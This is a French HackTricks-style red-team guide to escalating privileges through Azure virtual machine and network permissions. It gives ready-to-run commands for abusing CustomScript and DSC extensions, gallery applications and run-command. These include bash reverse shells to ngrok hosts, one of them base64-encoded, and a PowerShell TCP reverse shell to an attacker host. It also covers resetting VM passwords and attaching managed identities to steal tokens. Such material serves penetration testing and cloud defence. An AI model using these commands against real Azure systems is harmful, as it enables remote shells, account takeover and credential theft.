Az - Machines Virtuelles & Privesc Réseau

Reading time: 13 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

VMS & Réseau

Pour plus d'infos sur les Machines Virtuelles Azure et le Réseau, consultez :

Az - Virtual Machines & Network

Microsoft.Compute/virtualMachines/extensions/write

Cette permission permet d'exécuter des extensions dans des machines virtuelles, ce qui permet de exécuter du code arbitraire sur elles.
Exemple d'abus d'extensions personnalisées pour exécuter des commandes arbitraires dans une VM :

  • Exécuter un shell inversé
bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Exécuter un script situé sur Internet
bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Il est également possible d'abuser des extensions bien connues pour exécuter du code ou effectuer des actions privilégiées à l'intérieur des VMs :

Extension VMAccess

Cette extension permet de modifier le mot de passe (ou de créer un mot de passe s'il n'existe pas) des utilisateurs à l'intérieur des VMs Windows.

bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredConfigurationState (DSC)

C'est une extension VM qui appartient à Microsoft et qui utilise PowerShell DSC pour gérer la configuration des VMs Windows Azure. Par conséquent, elle peut être utilisée pour exécuter des commandes arbitraires dans les VMs Windows via cette extension :

bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

C'est une extension de VM qui permet d'exécuter des runbooks dans des VMs à partir d'un compte d'automatisation. Pour plus d'informations, consultez le service des comptes d'automatisation.

Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)

Ce sont les autorisations requises pour créer une nouvelle application de galerie et l'exécuter à l'intérieur d'une VM. Les applications de galerie peuvent exécuter n'importe quoi, donc un attaquant pourrait en abuser pour compromettre des instances de VM exécutant des commandes arbitraires.

Les 2 dernières autorisations pourraient être évitées en partageant l'application avec le locataire.

Exemple d'exploitation pour exécuter des commandes arbitraires :

bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Microsoft.Compute/virtualMachines/runCommand/action

C'est le mécanisme le plus basique qu'Azure fournit pour exécuter des commandes arbitraires dans des VMs :

bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Microsoft.Compute/virtualMachines/login/action

Cette permission permet à un utilisateur de se connecter en tant qu'utilisateur à une VM via SSH ou RDP (tant que l'authentification Entra ID est activée dans la VM).

Connectez-vous via SSH avec az ssh vm --name <vm-name> --resource-group <rsc-group> et via RDP avec vos identifiants Azure habituels.

Microsoft.Compute/virtualMachines/loginAsAdmin/action

Cette permission permet à un utilisateur de se connecter en tant qu'utilisateur à une VM via SSH ou RDP (tant que l'authentification Entra ID est activée dans la VM).

Connectez-vous via SSH avec az ssh vm --name <vm-name> --resource-group <rsc-group> et via RDP avec vos identifiants Azure habituels.

Microsoft.Resources/deployments/write, Microsoft.Network/virtualNetworks/write, Microsoft.Network/networkSecurityGroups/write, Microsoft.Network/networkSecurityGroups/join/action, Microsoft.Network/publicIPAddresses/write, Microsoft.Network/publicIPAddresses/join/action, Microsoft.Network/networkInterfaces/write, Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action, Microsoft.Network/networkInterfaces/join/action, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Toutes ces permissions sont nécessaires pour créer une VM avec une identité gérée spécifique et laisser un port ouvert (22 dans ce cas). Cela permet à un utilisateur de créer une VM et de s'y connecter et de voler des jetons d'identité gérée pour élever ses privilèges.

Selon la situation, plus ou moins de permissions peuvent être nécessaires pour abuser de cette technique.

bash
az vm create \
--resource-group Resource_Group_1 \
--name cli_vm \
--image Ubuntu2204 \
--admin-username azureuser \
--generate-ssh-keys \
--assign-identity /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourcegroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity \
--nsg-rule ssh \
--location "centralus"
# By default pub key from ~/.ssh is used (if none, it's generated there)

Microsoft.Compute/virtualMachines/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ces autorisations sont suffisantes pour attribuer de nouvelles identités gérées à une VM. Notez qu'une VM peut avoir plusieurs identités gérées. Elle peut avoir celle attribuée par le système, et de nombreuses identités gérées par l'utilisateur.
Ensuite, à partir du service de métadonnées, il est possible de générer des jetons pour chacune d'elles.

bash
# Get currently assigned managed identities to the VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Assign several managed identities to a VM
az vm identity assign \
--resource-group <rsc-group> \
--name <vm-name> \
--identities \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2

L'attaquant doit donc avoir compromis d'une manière ou d'une autre la VM pour voler des jetons des identités gérées assignées. Consultez plus d'infos dans :

Cloud SSRF - HackTricks

Microsoft.Compute/virtualMachines/read, Microsoft.Compute/virtualMachines/write, Microsoft.Compute/virtualMachines/extensions/read, Microsoft.Compute/virtualMachines/extensions/write

Ces autorisations permettent de changer l'utilisateur et le mot de passe de la machine virtuelle pour y accéder :

bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>

### Microsoft.Compute/virtualMachines/write, "Microsoft.Compute/virtualMachines/read", "Microsoft.Compute/disks/read", "Microsoft.Network/networkInterfaces/read", "Microsoft.Network/networkInterfaces/join/action", "Microsoft.Compute/disks/write".

Ces autorisations vous permettent de gérer les disques et les interfaces réseau, et elles vous permettent de joindre un disque à une machine virtuelle.

bash
# Update the disk's network access policy
az disk update \
--name <disk-name> \
--resource-group <resource-group-name> \
--network-access-policy AllowAll

# Attach the disk to a virtual machine
az vm disk attach \
--vm-name <vm-name> \
--resource-group <resource-group-name> \
--name <disk-name>

TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action

Selon les docs, cette permission vous permet de gérer le système d'exploitation de votre ressource via Windows Admin Center en tant qu'administrateur. Il semble donc que cela donne accès au WAC pour contrôler les VMs...

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks